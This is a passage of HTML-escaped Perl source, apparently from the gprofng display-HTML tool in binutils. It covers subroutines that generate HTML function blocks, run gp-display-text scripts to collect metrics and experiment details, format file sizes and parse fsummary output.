          for my $s (1 .. $pad)
            {
              $spaces .= &quot;&amp;nbsp;&quot;;
            }
          $the_metrics[$k] = $spaces . $the_metrics[$k];

          my $msg = &quot;padding spaces = $spaces the_metrics[$k] = $the_metrics[$k]&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }

##      my $end_game = &quot;end game3=&gt; pad = $pad&quot; . $hex_addresses[$k] . &quot; &quot; . $the_metrics[$k] . &quot; &quot; . $special_marker[$k] . $the_function_name[$k];
##      gp_message (&quot;debugXL&quot;, $subr_name, $end_game);
    }

#------------------------------------------------------------------------------
# An example what @function_lines should look like after the split:
# &lt;empty&gt;
# 6:0x0003ad20   drand48           0.100     0.084        768240570          0
# 6:0x0003af50  *erand48_r         0.080     0.084        768240570          0
# 6:0x0003b160   __drand48_iterate 0.020     0.                   0          0
#------------------------------------------------------------------------------
  @function_lines = split ($separator, $data_function_block);

#------------------------------------------------------------------------------
# Parse the individual lines.  Replace multi-occurrence functions by their
# unique alternative name and mark the target function.
#
# The above split operation produces an empty first field because the line
# starts with the separator.  This is why skip the first field.
#------------------------------------------------------------------------------
  for my $i ($index_start .. $index_end)
    {
      my $input_line = $the_metrics[$i];

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;the_metrics[$i] = &quot;. $the_metrics[$i]);

#------------------------------------------------------------------------------
# In case the last metric is 0. only, we append 3 extra characters that
# represent zero.  We cannot change the number to 0.000 though because that
# has a different interpretation than 0.
# In a later phase, the &quot;ZZZ&quot; symbol will be removed again, but for now it
# creates consistency in, for example, the length of the metrics part.
#------------------------------------------------------------------------------
      if ($input_line =~ /[\w0-9$decimal_separator]*(0$decimal_separator$)/)
        {
          if (defined ($1) )
            {
              my $decimal_point = $decimal_separator;
              $decimal_point =~ s/\\//;
              my $txt = &quot;input_line = $input_line = ended with 0&quot;;
              $txt   .= $decimal_point;
              gp_message (&quot;debugXL&quot;, $subr_name, $txt);

              $the_metrics[$i] .= &quot;ZZZ&quot;;
            }
        }

      $hex_address     = $hex_addresses[$i];
      $marker_function = $special_marker[$i];
      $routine         = $the_function_name[$i];
#------------------------------------------------------------------------------
# Get the length of the metrics line before ZZZ is replaced by spaces.
#------------------------------------------------------------------------------
      $all_metrics     = $the_metrics[$i];
      $metrics_length  = length ($all_metrics);
      $all_metrics     =~ s/ZZZ/&amp;nbsp;&amp;nbsp;&amp;nbsp;/g;

      $max_metrics_length = max ($max_metrics_length, $metrics_length);

      push (@marker, $marker_function);
      push (@address_field, $hex_address);
      push (@metric_values, $all_metrics);
      push (@function_names, $routine);

      my $index_into_function_info_ref = get_index_function_info (
                                         \$routine,
                                         \$hex_addresses[$i],
                                         $function_info_ref);

      my $index_into_function_info = ${ $index_into_function_info_ref };
      $target_tag = $function_info[$index_into_function_info]{&quot;tag_id&quot;};
      $alt_name = $function_info[$index_into_function_info]{&quot;alt_name&quot;};

#------------------------------------------------------------------------------
# Keep the name of the target function (the one marked with a *) for later use.
# This is the tag that identifies the block in the caller-callee output.  The
# tag is used in the link to the caller-callee in the function overview.
#------------------------------------------------------------------------------
      if ($marker_function eq &quot;*&quot;)
        {
          $tag_for_header = $target_tag;
          $name_in_header = $alt_name;

#------------------------------------------------------------------------------
# We need to replace the &quot;&lt;&quot; symbol in the code by &quot;&amp;lt;&quot;.
#------------------------------------------------------------------------------
          $name_in_header =~ s/$g_less_than_regex/$g_html_less_than_regex/g;

        }
      push (@final_function_names, $alt_name);
      push (@function_tags, $target_tag);

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;index_into_function_info = $index_into_function_info&quot;);
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;target_tag = $target_tag&quot;);
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;alt_name   = $alt_name&quot;);

    } #-- End of loop for my $i ($index_start .. $index_end)

  my $tag_line = &quot;&lt;a id=&#039;&quot; . $tag_for_header . &quot;&#039;&gt;&lt;/a&gt;&quot;;
  $html_line  = &quot;&lt;br&gt;\n&quot;;
  $html_line .= $tag_line . &quot;Function name: &quot;;
  $html_line .= &quot;&lt;span style=&#039;color:&quot; . $g_html_color_scheme{&quot;target_function_name&quot;} . &quot;&#039;&gt;&quot;;
  $html_line .= &quot;&lt;b&gt;&quot; . $name_in_header . &quot;&lt;/b&gt;&lt;/span&gt;\n&quot;;
  $html_line .= &quot;&lt;br&gt;&quot;;

  push (@html_block_prologue, $html_line);

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;the final function block for $name_in_header&quot;);

  $href_file = $g_html_base_file_name{&quot;caller_callee&quot;} . &quot;.html&quot;;

#------------------------------------------------------------------------------
# Process the function blocks and generate the HTML structure for them.
#------------------------------------------------------------------------------
  for my $i (0 .. $#final_function_names)
    {
      $current_function_name = $final_function_names[$i];
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;current_function_name = $current_function_name&quot;);

#------------------------------------------------------------------------------
# Do not add hyperlinks for &lt;Total&gt;.
#------------------------------------------------------------------------------
      if ($current_function_name eq &quot;&lt;Total&gt;&quot;)
        {
          $create_hyperlinks = $FALSE;
        }
      else
        {
          $create_hyperlinks = $TRUE;
        }

#------------------------------------------------------------------------------
# We need to replace the &quot;&lt;&quot; symbol in the code by &quot;&amp;lt;&quot;.
#------------------------------------------------------------------------------
      $current_function_name =~ s/$g_less_than_regex/$g_html_less_than_regex/g;

      $html_line = $metric_values[$i] . &quot; &quot;;

      if ($marker[$i] eq &quot;*&quot;)
        {
          $current_function_name = &quot;&lt;b&gt;&quot; . $current_function_name . &quot;&lt;/b&gt;&quot;;
        }
      $html_line .= &quot; &lt;a href=&#039;&quot; . $href_file . &quot;#&quot; . $function_tags[$i] . &quot;&#039;&gt;&quot; . $current_function_name . &quot;&lt;/a&gt;&quot;;

      if ($marker[$i] eq &quot;*&quot;)
        {
            $html_line = &quot;&lt;br&gt;&quot; . $html_line;
        }
      elsif (($marker[$i] ne &quot;*&quot;) and ($i == 0))
        {
            $html_line = &quot;&lt;br&gt;&quot; . $html_line;
        }

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;html_line = $html_line&quot;);

#------------------------------------------------------------------------------
# Find the index into &quot;function_info&quot; for this particular function.
#------------------------------------------------------------------------------
      $routine         = $function_names[$i];
      $current_address = $address_field[$i];

      my $target_index_ref = find_index_in_function_info (\$routine, \$current_address, \@function_info);
      my $target_index     = ${ $target_index_ref };

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;routine = $routine current_address = $current_address target_index = $target_index&quot;);

#------------------------------------------------------------------------------
# TBD Do this once for each function and store the result.  This is a saving
# because functions may and typically will appear more than once.
#------------------------------------------------------------------------------
      my $spaces_left = $function_view_structure{&quot;max function length&quot;} - $function_info[$target_index]{&quot;function length&quot;};

#------------------------------------------------------------------------------
# Add the links to the line. Make sure there is at least one space.
#------------------------------------------------------------------------------
      my $spaces = &quot;&amp;nbsp;&quot;;
      for my $k (1 .. $spaces_left)
        {
          $spaces .= &quot;&amp;nbsp;&quot;;
        }

      if ($create_hyperlinks)
        {
          $html_line .= $spaces;
          $html_line .= $function_info[$target_index]{&quot;href_source&quot;};
          $html_line .= &quot;&amp;nbsp;&quot;;
          $html_line .= $function_info[$target_index]{&quot;href_disassembly&quot;};
        }

      push (@html_code_function_block, $html_line);
    }

    for my $lines (0 .. $#html_code_function_block)
      {
        gp_message (&quot;debugXL&quot;, $subr_name, &quot;final html block = &quot; . $html_code_function_block[$lines]);
      }

  return (\@html_block_prologue, \@html_code_function_block);

} #-- End of subroutine generate_html_function_blocks

#------------------------------------------------------------------------------
# Get all the metrics available
#
# (gp-display-text) metric_list
# Current metrics: e.totalcpu:i.totalcpu:e.cycles:e+insts:e+llm:name
# Current Sort Metric: Exclusive Total CPU Time ( e.totalcpu )
# Available metrics:
#          Exclusive Total CPU Time: e.%totalcpu
#          Inclusive Total CPU Time: i.%totalcpu
#              Exclusive CPU Cycles: e.+%cycles
#              Inclusive CPU Cycles: i.+%cycles
#   Exclusive Instructions Executed: e+%insts
#   Inclusive Instructions Executed: i+%insts
# Exclusive Last-Level Cache Misses: e+%llm
# Inclusive Last-Level Cache Misses: i+%llm
#  Exclusive Instructions Per Cycle: e+IPC
#  Inclusive Instructions Per Cycle: i+IPC
#  Exclusive Cycles Per Instruction: e+CPI
#  Inclusive Cycles Per Instruction: i+CPI
#                              Size: size
#                        PC Address: address
#                              Name: name
#------------------------------------------------------------------------------
sub get_all_the_metrics
{
  my $subr_name = get_my_name ();

  my ($experiments_ref, $outputdir_ref) = @_;

  my $experiments = ${ $experiments_ref };
  my $outputdir   = ${ $outputdir_ref };

  my $ignore_value;
  my $gp_functions_cmd;
  my $gp_display_text_cmd;

  my $metrics_output_file = $outputdir . &quot;metrics-all&quot;;
  my $result_file   = $outputdir . $g_gp_output_file;
  my $gp_error_file = $outputdir . $g_gp_error_logfile;
  my $script_file_metrics = $outputdir . &quot;script-metrics&quot;;

  my @metrics_data = ();

  open (SCRIPT_METRICS, &quot;&gt;&quot;, $script_file_metrics)
    or die (&quot;$subr_name - unable to open script file $script_file_metrics for writing: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened script file $script_file_metrics for writing&quot;);

  print SCRIPT_METRICS &quot;# outfile $metrics_output_file\n&quot;;
  print SCRIPT_METRICS &quot;outfile $metrics_output_file\n&quot;;
  print SCRIPT_METRICS &quot;# metric_list\n&quot;;
  print SCRIPT_METRICS &quot;metric_list\n&quot;;

  close (SCRIPT_METRICS);

  $gp_functions_cmd  = &quot;$GP_DISPLAY_TEXT -script $script_file_metrics $experiments&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;calling $GP_DISPLAY_TEXT to get all the metrics&quot;);

  $gp_display_text_cmd = &quot;$gp_functions_cmd 1&gt;&gt; $result_file 2&gt;&gt; $gp_error_file&quot;;
  gp_message (&quot;debug&quot;, $subr_name, &quot;cmd = $gp_display_text_cmd&quot;);

  my ($error_code, $cmd_output) = execute_system_cmd ($gp_display_text_cmd);

  if ($error_code != 0)
    {
      $ignore_value = msg_display_text_failure ($gp_display_text_cmd,
                                                $error_code,
                                                $gp_error_file);
      gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
    }

  open (METRICS_INFO, &quot;&lt;&quot;, $metrics_output_file)
    or die (&quot;$subr_name - unable to open file $metrics_output_file for reading &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $metrics_output_file for reading&quot;);

#------------------------------------------------------------------------------
# Read the input file into memory.
#------------------------------------------------------------------------------
  chomp (@metrics_data = &lt;METRICS_INFO&gt;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;read all contents of file $metrics_output_file into memory&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;\$#metrics_data = $#metrics_data&quot;);

  my $input_line;
  my $ignore_lines_regex = &#039;^(?:Current|Available|\s+Size:|\s+PC Address:|\s+Name:)&#039;;
  my $split_line_regex = &#039;(.*): (.*)&#039;;
  my $empty_line_regex = &#039;^\s*$&#039;;
  my @metric_list_all = ();
  for (my $line_no=0; $line_no &lt;= $#metrics_data; $line_no++)
    {

      $input_line = $metrics_data[$line_no];

##      if ( not (($input_line =~ /$ignore_lines_regex/ or ($input_line =~ /^\s*$/))))
      if ( not ($input_line =~ /$ignore_lines_regex/) and not ($input_line =~ /$empty_line_regex/) )
        {
          if ($input_line =~ /$split_line_regex/)
            {
#------------------------------------------------------------------------------
# Remove the percentages.
#------------------------------------------------------------------------------
              my $metric_definition = $2;
              $metric_definition =~ s/\%//g;
              gp_message (&quot;debug&quot;, $subr_name, &quot;line_no = $line_no $metrics_data[$line_no] metric_definition = $metric_definition&quot;);
              push (@metric_list_all, $metric_definition);
            }
        }

    }

  gp_message (&quot;debug&quot;, $subr_name, &quot;\@metric_list_all = @metric_list_all&quot;);

  my $final_list = join (&quot;:&quot;, @metric_list_all);
  gp_message (&quot;debug&quot;, $subr_name, &quot;final_list = $final_list&quot;);

  close (METRICS_INFO);

  return (\$final_list);

} #-- End of subroutine get_all_the_metrics

#------------------------------------------------------------------------------
# A simple function to return the basename using fileparse.  To keep things
# simple, a suffixlist is not supported.  In case this is needed, use the
# fileparse function directly.
#------------------------------------------------------------------------------
sub get_basename
{
  my ($full_name) = @_;

  my $ignore_value_1;
  my $ignore_value_2;
  my $basename_value;

  ($basename_value, $ignore_value_1, $ignore_value_2) = fileparse ($full_name);

  return ($basename_value);

} #-- End of subroutine get_basename

#------------------------------------------------------------------------------
# Get the details on the experiments and store these in a file.  Each
# experiment has its own file.  This makes the processing easier.
#------------------------------------------------------------------------------
sub get_experiment_info
{
  my $subr_name = get_my_name ();

  my ($outputdir_ref, $exp_dir_list_ref) = @_;

  my $outputdir    = ${ $outputdir_ref };
  my @exp_dir_list = @{ $exp_dir_list_ref };

  my $cmd_output;
  my $current_slot;
  my $error_code;
  my $exp_info_file;
  my @exp_info       = ();
  my @experiment_data = ();
  my $gp_error_file;
  my $gp_display_text_cmd;
  my $gp_functions_cmd;
  my $gp_log_file;
  my $ignore_value;
  my $msg;
  my $overview_file;
  my $result_file;
  my $script_file;
  my $the_experiments;

  $the_experiments = join (&quot; &quot;, @exp_dir_list);

  $script_file   = $outputdir . &quot;gp-info-exp.script&quot;;
  $exp_info_file = $outputdir . &quot;gp-info-exp-list.out&quot;;
  $overview_file = $outputdir . &quot;gp-overview.out&quot;;
  $gp_log_file   = $outputdir . $g_gp_output_file;
  $gp_error_file = $outputdir . $g_gp_error_logfile;

  open (SCRIPT_EXPERIMENT_INFO, &quot;&gt;&quot;, $script_file)
    or die (&quot;$subr_name - unable to open script file $script_file for writing: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened script file $script_file for writing&quot;);

#------------------------------------------------------------------------------
# Attributed User CPU Time=a.user : for calltree - see P37 in manual
#------------------------------------------------------------------------------
  print SCRIPT_EXPERIMENT_INFO &quot;# compare on\n&quot;;
  print SCRIPT_EXPERIMENT_INFO &quot;compare on\n&quot;;
  print SCRIPT_EXPERIMENT_INFO &quot;# outfile $exp_info_file\n&quot;;
  print SCRIPT_EXPERIMENT_INFO &quot;outfile $exp_info_file\n&quot;;
  print SCRIPT_EXPERIMENT_INFO &quot;# exp_list\n&quot;;
  print SCRIPT_EXPERIMENT_INFO &quot;exp_list\n&quot;;
  print SCRIPT_EXPERIMENT_INFO &quot;# outfile $overview_file\n&quot;;
  print SCRIPT_EXPERIMENT_INFO &quot;outfile $overview_file\n&quot;;
  print SCRIPT_EXPERIMENT_INFO &quot;# overview\n&quot;;
  print SCRIPT_EXPERIMENT_INFO &quot;overview\n&quot;;

  close SCRIPT_EXPERIMENT_INFO;

  $gp_functions_cmd = &quot;$GP_DISPLAY_TEXT -script $script_file $the_experiments&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;executing $GP_DISPLAY_TEXT to get the experiment information&quot;);

  $gp_display_text_cmd = &quot;$gp_functions_cmd 1&gt;&gt; $gp_log_file 2&gt;&gt; $gp_error_file&quot;;

  ($error_code, $cmd_output) = execute_system_cmd ($gp_display_text_cmd);

  if ($error_code != 0)
    {
      $ignore_value = msg_display_text_failure ($gp_display_text_cmd,
                                                $error_code,
                                                $gp_error_file);
      gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
    }

#------------------------------------------------------------------------------
# The first file has the following format:
#
# ID Sel     PID Experiment
# == === ======= ======================================================
#  1 yes 2078714 &lt;absolute_path/mxv.hwc.1.thr.er
#  2 yes 2078719 &lt;absolute_path/mxv.hwc.2.thr.er
#------------------------------------------------------------------------------
  open (EXP_INFO, &quot;&lt;&quot;, $exp_info_file)
    or die (&quot;$subr_name - unable to open file $exp_info_file for reading &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened script file $exp_info_file for reading&quot;);

  chomp (@exp_info = &lt;EXP_INFO&gt;);

#------------------------------------------------------------------------------
# TBD - Check for the groups to exist below:
#------------------------------------------------------------------------------
  $current_slot = 0;
  for my $i (0 .. $#exp_info)
    {
      my $input_line = $exp_info[$i];

      gp_message (&quot;debug&quot;, $subr_name, &quot;$i =&gt; exp_info[$i] = $exp_info[$i]&quot;);

      if ($input_line =~ /^\s*(\d+)\s+(.+)/)
        {
          my $exp_id    = $1;
          my $remainder = $2;
          $experiment_data[$current_slot]{&quot;exp_id&quot;} = $exp_id;
          $experiment_data[$current_slot]{&quot;exp_data_file&quot;} = $outputdir . &quot;gp-info-exp-&quot; . $exp_id . &quot;.out&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $i . &quot; &quot; . $exp_id . &quot; &quot; . $remainder);
          if ($remainder =~ /^(\w+)\s+(\d+)\s+(.+)/)
            {
              my $exp_name = $3;
              $experiment_data[$current_slot]{&quot;exp_name_full&quot;} = $exp_name;
              $experiment_data[$current_slot]{&quot;exp_name_short&quot;} = get_basename ($exp_name);
              $current_slot++;
              gp_message (&quot;debug&quot;, $subr_name, $i . &quot; &quot; . $1 . &quot; &quot; . $2 . &quot; &quot; . $3);
            }
          else
            {
              $msg = &quot;remainder = $remainder has an unexpected format&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
    }
#------------------------------------------------------------------------------
# The experiment IDs and names are known.  We can now generate the info for
# each individual experiment.
#------------------------------------------------------------------------------
  $gp_log_file   = $outputdir . $g_gp_output_file;
  $gp_error_file = $outputdir . $g_gp_error_logfile;

  $script_file = $outputdir . &quot;gp-details-exp.script&quot;;

  open (SCRIPT_EXPERIMENT_DETAILS, &quot;&gt;&quot;, $script_file)
    or die (&quot;$subr_name - unable to open script file $script_file for writing: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened script file $script_file for writing&quot;);

  for my $i (sort keys @experiment_data)
    {
      my $exp_id = $experiment_data[$i]{&quot;exp_id&quot;};

      $result_file = $experiment_data[$i]{&quot;exp_data_file&quot;};

# statistics
# header
      print SCRIPT_EXPERIMENT_DETAILS &quot;# outfile &quot;    . $result_file . &quot;\n&quot;;
      print SCRIPT_EXPERIMENT_DETAILS &quot;outfile &quot;      . $result_file . &quot;\n&quot;;
      print SCRIPT_EXPERIMENT_DETAILS &quot;# header &quot;     . $exp_id . &quot;\n&quot;;
      print SCRIPT_EXPERIMENT_DETAILS &quot;header &quot;       . $exp_id . &quot;\n&quot;;
      print SCRIPT_EXPERIMENT_DETAILS &quot;# statistics &quot; . $exp_id . &quot;\n&quot;;
      print SCRIPT_EXPERIMENT_DETAILS &quot;statistics &quot;   . $exp_id . &quot;\n&quot;;

    }

  close (SCRIPT_EXPERIMENT_DETAILS);

  $gp_functions_cmd = &quot;$GP_DISPLAY_TEXT -script $script_file $the_experiments&quot;;

  $msg = &quot;executing $GP_DISPLAY_TEXT to get the experiment details&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  $gp_display_text_cmd = &quot;$gp_functions_cmd 1&gt;&gt; $gp_log_file 2&gt;&gt; $gp_error_file&quot;;

  ($error_code, $cmd_output) = execute_system_cmd ($gp_display_text_cmd);

  if ($error_code != 0)
#------------------------------------------------------------------------------
# This is unlikely to happen, but you never know.
#------------------------------------------------------------------------------
    {
      $ignore_value = msg_display_text_failure ($gp_display_text_cmd,
                                                $error_code,
                                                $gp_error_file);
      gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
    }

  return (\@experiment_data);

} #-- End of subroutine get_experiment_info

#------------------------------------------------------------------------------
# This subroutine returns a string of the type &quot;size=&lt;n&gt;&quot;, where &lt;n&gt; is the
# size of the file passed in.  If n &gt; 1024, a unit is appended.
#------------------------------------------------------------------------------
sub getfilesize
{
  my $subr_name = get_my_name ();

  my ($filename) = @_;

  my $size;
  my $file_stat;

  if (not -e $filename)
    {
#------------------------------------------------------------------------------
# The return value is used in the caller.  This is why we return the empty
# string in case the file does not exist.
#------------------------------------------------------------------------------
      gp_message (&quot;debug&quot;, $subr_name, &quot;filename = $filename not found&quot;);
      return (&quot;&quot;);
    }
  else
    {
      $file_stat = stat ($filename);
      $size      = $file_stat-&gt;size;

      gp_message (&quot;debug&quot;, $subr_name, &quot;filename = $filename&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;size     = $size&quot;);

      if ($size &gt; 1024)
        {
          if ($size &gt; 1024*1024)
            {
              $size = $size/1024/1024;
              $size =~ s/\..*//;
              $size = $size.&quot;MB&quot;;
            }
          else
            {
              $size = $size/1024;
              $size =~ s/\..*//;
              $size = $size.&quot;KB&quot;;
            }
        }
      else
        {
          $size=$size.&quot; bytes&quot;;
        }
      gp_message (&quot;debug&quot;, $subr_name, &quot;size = $size title=\&quot;$size\&quot;&quot;);

      return (&quot;title=\&quot;$size\&quot;&quot;);
    }

} #-- End of subroutine getfilesize

#------------------------------------------------------------------------------
# Parse the fsummary output and for all functions, store all the information
# found in &quot;function_info&quot;.  In addition to this, several derived structures
# are stored as well, making this structure a &quot;onestop&quot; place to get all the
# info that is needed.
#------------------------------------------------------------------------------
sub get_function_info
{
  my $subr_name = get_my_name ();

  my ($FSUMMARY_FILE) = @_;

#------------------------------------------------------------------------------
# The regex section.
#------------------------------------------------------------------------------
  my $white_space_regex = &#039;\s*&#039;;

  my @function_info              = ();
  my %function_address_and_index = ();
  my %LINUX_vDSO                 = ();
  my %function_view_structure    = ();
  my %addressobjtextm            = ();
#------------------------------------------------------------------------------
# TBD: This structure is no longer used and most likely can be removed.
#------------------------------------------------------------------------------
  my %functions_index             = ();

  my $msg;

# TBD: check
  my $full_address_field;
  my %source_files   = ();

  my $i;
  my $line;
  my $routine_flag;
  my $value;
  my $field;
  my $df_flag;
  my $address_decimal;
  my $routine;

  my $num_source_files           = 0;
  my $number_of_unique_functions = 0;
  my $number_of_non_unique_functions = 0;

  my $function_info_regex   = &#039;\s*(\S+[a-zA-Z\s]*):(.*)&#039;;
  my $get_hex_address_regex = &#039;(\d+):(0x\S+)&#039;;
#------------------------------------------------------------------------------
# Open the file generated using the -fsummary option.
#------------------------------------------------------------------------------
  $msg = &quot; - unable to open file $FSUMMARY_FILE for reading:&quot;;
  open (FSUMMARY_FILE, &quot;&lt;&quot;, $FSUMMARY_FILE)
    or die ($subr_name . $msg . &quot; &quot; . $!);
  $msg = &quot;opened file $FSUMMARY_FILE for reading&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# This is the typical structure of the fsummary output:
#
# Current Sort Metric: Exclusive Total CPU Time ( e.totalcpu )
# Functions sorted by metric: Exclusive Total CPU Time
#
# &lt;Total&gt;
#         Exclusive Total CPU Time: 11.538 (100.0%)
#         Inclusive Total CPU Time: 11.538 (100.0%)
#                             Size:      0
#                       PC Address: 1:0x00000000
#                      Source File: (unknown)
#                      Object File: (unknown)
#                      Load Object: &lt;Total&gt;
#                     Mangled Name:
#                          Aliases:
#
# a_function_name
#         Exclusive Total CPU Time:  4.003 ( 34.7%)
#         Inclusive Total CPU Time:  4.003 ( 34.7%)
#                             Size:    715
#                       PC Address: 2:0x00006c61
#                      Source File: &lt;absolute path to source file&gt;
#                      Object File: &lt;object filename&gt;
#                      Load Object: &lt;executable name&gt;
#                     Mangled Name:
#                          Aliases:
#
# The previous block is repeated for every function.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Skip the header.  The header is defined to end with a blank line.
#------------------------------------------------------------------------------
  while (&lt;FSUMMARY_FILE&gt;)
    {
      $line = $_;
      chomp ($line);
      if ($line =~ /^\s*$/)
        {
          last;
        }
    }

#------------------------------------------------------------------------------
# Process the remaining blocks.  Note that the first line should be &lt;Total&gt;,
# but this is currently not checked.
#------------------------------------------------------------------------------
  $i = 0;
  $routine_flag = $TRUE;
  while (&lt;FSUMMARY_FILE&gt;)
    {
      $line = $_;
      chomp ($line);

#------------------------------------------------------------------------------
# Legacy issue to deal with. Up until somewhere between binutils 2.40 and 2.41,
# gprofng display text might print the &quot; --  no functions found&quot; comment.
# No, the two spaces after -- are not my typo ;-)
#
# Since then, this comment is no longer printed, but the safe approach is to
# remove any occurrence upfront.
#------------------------------------------------------------------------------
      $line =~ s/ --  no functions found//;

      $msg = &quot;line = &quot; . $line;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

      if ($line =~ /^\s*$/)
#------------------------------------------------------------------------------
# Blank line.
#------------------------------------------------------------------------------
        {
          $routine_flag = $TRUE;
          $df_flag = 0;

#------------------------------------------------------------------------------
# Linux vDSO exception
#
# TBD: Check if still relevant.
#------------------------------------------------------------------------------
          if ($function_info[$i]{&quot;Load Object&quot;} eq &quot;DYNAMIC_FUNCTIONS&quot;)
            {
              $LINUX_vDSO{substr ($function_info[$i]{&quot;addressobjtext&quot;},1)} = $function_info[$i]{&quot;routine&quot;};
            }
          $i++;
          next;
        }

      if ($routine_flag)
#------------------------------------------------------------------------------
# Should be the first line after the blank line.
#------------------------------------------------------------------------------
        {
          $routine                      = $line;
          push (@{ $g_map_function_to_index{$routine} }, $i);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;pushed i = $i to g_map_function_to_index{$routine}&quot;);

#------------------------------------------------------------------------------
# In a later parsing phase we need to know how many fields there are in a
# function name. For example, &quot;&lt;static&gt;@0x21850 (&lt;libc-2.28.so&gt;)&quot; is name that
# may show up in a function list.
#
# Here we determine the number of fields and store it.
#
# REVISIT This may not be needed anymore
#------------------------------------------------------------------------------
          my @fields_in_name = split (&quot; &quot;, $routine);
          $function_info[$i]{&quot;fields in routine name&quot;} = scalar (@fields_in_name);

#------------------------------------------------------------------------------
# This name may change if the function has multiple occurrences, but in any
# case, at the end of this routine this component has the final name to be
# used.
#------------------------------------------------------------------------------
          $function_info[$i]{&quot;alt_name&quot;} = $routine;
          if (not exists ($g_function_occurrences{$routine}))
            {
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;the entry in function_info for $routine does not exist&quot;);
              $function_info[$i]{&quot;routine&quot;} = $routine;
              $g_function_occurrences{$routine} = 1;

              gp_message (&quot;debugXL&quot;, $subr_name, &quot;g_function_occurrences{$routine} = $g_function_occurrences{$routine}&quot;);
            }
          else
            {
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;the entry in function_info for $routine exists already&quot;);
              $function_info[$i]{&quot;routine&quot;} = $routine;
              $g_function_occurrences{$routine} += 1;
              if (not exists ($g_multi_count_function{$routine}))
                {
                  $g_multi_count_function{$routine} = $TRUE;
                }
              $msg  = &quot;g_function_occurrences{$routine} = &quot;;
              $msg .= $g_function_occurrences{$routine};
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
            }
#------------------------------------------------------------------------------
# New: used when generating the index.
#------------------------------------------------------------------------------
          $function_info[$i]{&quot;function length&quot;} = length ($routine);
          $function_info[$i]{&quot;tag_id&quot;} = create_function_tag ($i);
          if (not exists ($g_function_tag_id{$routine}))
            {
              $g_function_tag_id{$routine} = create_function_tag ($i);
            }
          else
            {

#------------------------------------------------------------------------------
## TBD HACK!!! CHECK!!!!!
#------------------------------------------------------------------------------
              $g_function_tag_id{$routine} = $i;
            }

          $routine_flag = $FALSE;
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;stored &quot; . $function_info[$i]{&quot;routine&quot;});

#------------------------------------------------------------------------------
# The $functions_index hash contains an array.  After an initial assignment,
# other values that have been found are pushed onto the arrays.
#------------------------------------------------------------------------------
          if (not exists ($functions_index{$routine}))
            {
              $functions_index{$routine} = [$i];
            }
          else
            {
#------------------------------------------------------------------------------
# Add the array index to the list
#------------------------------------------------------------------------------
              push (@{$functions_index{$routine}}, $i);
            }
          next;
        }

#------------------------------------------------------------------------------
# Example format of an input block, where $line is one of the following:
#         Exclusive Total CPU Time: 0.001 (  0.0%)
#         Inclusive Total CPU Time: 0.001 (  0.0%)
#                             Size:    92
#                       PC Address: 5:0x00125de0
#                      Source File: (unknown)
#                      Object File: (unknown)
#                      Load Object: /usr/lib64/libc-2.28.so
#                     Mangled Name:
#                          Aliases: __brk
#------------------------------------------------------------------------------
      $line =~ s/^\s+//;
      if ($line =~ /$function_info_regex/)
        {
          if (defined ($1) and defined($2))
            {
              $field = $1;
              $value = $2;
              $value =~ s/$g_rm_surrounding_spaces_regex//g;

              $msg = &quot;initial - field = &quot; . $field . &quot; value = &quot; . $value;
              gp_message (&quot;debugM&quot;, $subr_name, $msg);
            }
          else
            {
              $msg = &quot;the input line pattern was not recognized&quot;;
              gp_message (&quot;warning&quot;, $subr_name, $msg);
              gp_message (&quot;debug&quot;, $subr_name, $msg);
              $msg = &quot;execution continues, but there may be a problem later&quot;;
              gp_message (&quot;warning&quot;, $subr_name, $msg);
              gp_message (&quot;debug&quot;, $subr_name, $msg);

              $field = &quot;not recognized&quot;;
              $value = &quot;not recognized&quot;;
            }
#------------------------------------------------------------------------------
# The field has no value.
#------------------------------------------------------------------------------
          if (length ($value) eq 0)
##          if ($value =~ /^\s+$/)
##              if (length ($2) gt 0)
##              if ($2 == &quot; &quot;)
            {
              if ($field eq &quot;Mangled Name&quot;)
                {
                  $value = $routine; 

                  $msg =  &quot;no mangled name found - use the routine name &quot;;
                  $msg .= $routine . &quot; as the mangled name&quot;;
                  gp_message (&quot;debugM&quot;, $subr_name, $msg);
                }
              else
                {
                  $value = &quot;no_value_given&quot;;

                  $msg  =  &quot;no value was found for this field - set to &quot;;
                  $msg .=  $value;
                  gp_message (&quot;debugM&quot;, $subr_name, $msg);
                }
            }
#------------------------------------------------------------------------------
# Remove any leading whitespace characters.
#------------------------------------------------------------------------------
          $value =~ s/$white_space_regex//;
#------------------------------------------------------------------------------
# These are the final values that will be used.
#------------------------------------------------------------------------------
          $msg = &quot;final - field = &quot; . $field . &quot; value = &quot; . $value;
